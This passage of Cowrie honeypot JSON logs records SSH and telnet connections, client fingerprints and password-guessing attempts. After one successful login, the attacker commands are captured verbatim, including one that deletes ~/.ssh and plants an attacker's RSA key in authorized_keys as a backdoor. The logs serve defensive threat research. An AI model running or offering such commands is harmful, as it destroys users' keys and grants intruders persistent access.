p384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:52.090893Z","src_ip":"103.215.80.173","session":"5d4dcdbaceb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123..","message":"login attempt [admin/qwe123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:53.952978Z","src_ip":"103.215.80.173","session":"5d4dcdbaceb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.45465111732483,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:54.005453Z","src_ip":"104.248.46.74","session":"3196d12af6c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.111172914505005,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:54.138730Z","src_ip":"104.248.46.74","session":"b279e7d357b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:55.161726Z","src_ip":"103.215.80.173","session":"5d4dcdbaceb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.321993350982666,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:55.421088Z","src_ip":"104.248.46.74","session":"f8adfd11e06c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.70780086517334,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:03.177583Z","src_ip":"104.248.46.74","session":"d19fa6472638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":36070,"dst_ip":"159.203.135.109","dst_port":23,"session":"2662206c36e0","protocol":"telnet","message":"New connection: 104.248.46.74:36070 (159.203.135.109:23) [session: 2662206c36e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:05.303769Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36182,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1eb883252d4","protocol":"ssh","message":"New connection: 159.203.92.129:36182 (159.203.135.109:22) [session: d1eb883252d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:06.297511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:06.319246Z","src_ip":"159.203.92.129","session":"d1eb883252d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:06.323359Z","src_ip":"159.203.92.129","session":"d1eb883252d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amasuda","password":"123456","message":"login attempt [amasuda/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:06.372564Z","src_ip":"159.203.92.129","session":"d1eb883252d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:07.382615Z","src_ip":"159.203.92.129","session":"d1eb883252d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.7226357460022,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:09.620332Z","src_ip":"162.253.42.116","session":"1dbc175251a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.48449492454529,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:10.491193Z","src_ip":"104.248.46.74","session":"a1c18e37d5c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":38816,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbeacf012d25","protocol":"telnet","message":"New connection: 104.248.46.74:38816 (159.203.135.109:23) [session: cbeacf012d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:20.703841Z"}
{"eventid":"cowrie.session.closed","duration":51.57211875915527,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:26.974088Z","src_ip":"104.248.46.74","session":"340e51b51c0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":39382,"dst_ip":"159.203.135.109","dst_port":23,"session":"1796508f4119","protocol":"telnet","message":"New connection: 104.248.46.74:39382 (159.203.135.109:23) [session: 1796508f4119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:29.073531Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":38150,"dst_ip":"10.17.0.5","dst_port":23,"session":"d92542af629a","protocol":"telnet","message":"New connection: 162.253.42.116:38150 (10.17.0.5:23) [session: d92542af629a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:30.666040Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":40230,"dst_ip":"159.203.135.109","dst_port":23,"session":"720b2416142d","protocol":"telnet","message":"New connection: 104.248.46.74:40230 (159.203.135.109:23) [session: 720b2416142d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:32.179282Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":60146,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1c101d5a6db","protocol":"telnet","message":"New connection: 174.136.57.21:60146 (10.17.0.5:23) [session: d1c101d5a6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:34.853860Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":54866,"dst_ip":"159.203.135.109","dst_port":23,"session":"09fc15116bca","protocol":"telnet","message":"New connection: 208.82.116.131:54866 (159.203.135.109:23) [session: 09fc15116bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:38.591726Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":54908,"dst_ip":"159.203.135.109","dst_port":23,"session":"95d380642738","protocol":"telnet","message":"New connection: 208.82.116.131:54908 (159.203.135.109:23) [session: 95d380642738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:38.671641Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":38978,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9993754fbaa","protocol":"telnet","message":"New connection: 174.136.57.21:38978 (10.17.0.5:23) [session: a9993754fbaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:40.083037Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":41972,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0a9df7c54ce","protocol":"telnet","message":"New connection: 104.248.46.74:41972 (159.203.135.109:23) [session: c0a9df7c54ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:41.371626Z"}
{"eventid":"cowrie.session.closed","duration":43.36188864707947,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:48.665502Z","src_ip":"104.248.46.74","session":"2662206c36e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":43122,"dst_ip":"159.203.135.109","dst_port":23,"session":"27759b928708","protocol":"telnet","message":"New connection: 104.248.46.74:43122 (159.203.135.109:23) [session: 27759b928708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:48.676465Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57404,"dst_ip":"159.203.135.109","dst_port":22,"session":"50c60cfa5d88","protocol":"ssh","message":"New connection: 159.203.92.129:57404 (159.203.135.109:22) [session: 50c60cfa5d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:48.923122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:48.929487Z","src_ip":"159.203.92.129","session":"50c60cfa5d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:48.934284Z","src_ip":"159.203.92.129","session":"50c60cfa5d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amasuda","password":"123654","message":"login attempt [amasuda/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:48.946474Z","src_ip":"159.203.92.129","session":"50c60cfa5d88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:49.953814Z","src_ip":"159.203.92.129","session":"50c60cfa5d88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.446903467178345,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:53.150621Z","src_ip":"104.248.46.74","session":"cbeacf012d25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43744,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7e51d321cbe","protocol":"telnet","message":"New connection: 162.253.42.116:43744 (10.17.0.5:23) [session: c7e51d321cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:32:58.586228Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":45462,"dst_ip":"159.203.135.109","dst_port":23,"session":"8adc589032d7","protocol":"telnet","message":"New connection: 104.248.46.74:45462 (159.203.135.109:23) [session: 8adc589032d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:01.463562Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":57270,"dst_ip":"10.17.0.5","dst_port":23,"session":"40616714dd2d","protocol":"telnet","message":"New connection: 174.136.57.21:57270 (10.17.0.5:23) [session: 40616714dd2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:03.845994Z"}
{"eventid":"cowrie.session.closed","duration":32.153773069381714,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:04.332932Z","src_ip":"104.248.46.74","session":"720b2416142d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.571024656295776,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:05.236966Z","src_ip":"162.253.42.116","session":"d92542af629a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.584048748016357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:06.437762Z","src_ip":"174.136.57.21","session":"d1c101d5a6db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.125886917114258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:11.208828Z","src_ip":"174.136.57.21","session":"a9993754fbaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.44118595123291,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:11.514593Z","src_ip":"104.248.46.74","session":"1796508f4119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":47078,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e5ae7d1dea6","protocol":"ssh","message":"New connection: 103.215.80.173:47078 (159.203.135.109:22) [session: 8e5ae7d1dea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:13.436372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:13.441062Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:13.754996Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"0727527122","message":"login attempt [oracle/0727527122] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:14.963144Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:15.420401Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:15.423637Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:15.427074Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:15.629263Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.293357610702515,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:15.664846Z","src_ip":"104.248.46.74","session":"c0a9df7c54ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":37182,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd80bb786742","protocol":"telnet","message":"New connection: 174.136.57.21:37182 (10.17.0.5:23) [session: cd80bb786742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:15.826668Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:16.073601Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:16.077458Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:16.283216Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:16.286766Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35250,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7b96da12b40","protocol":"telnet","message":"New connection: 162.253.42.116:35250 (10.17.0.5:23) [session: f7b96da12b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:18.359170Z"}
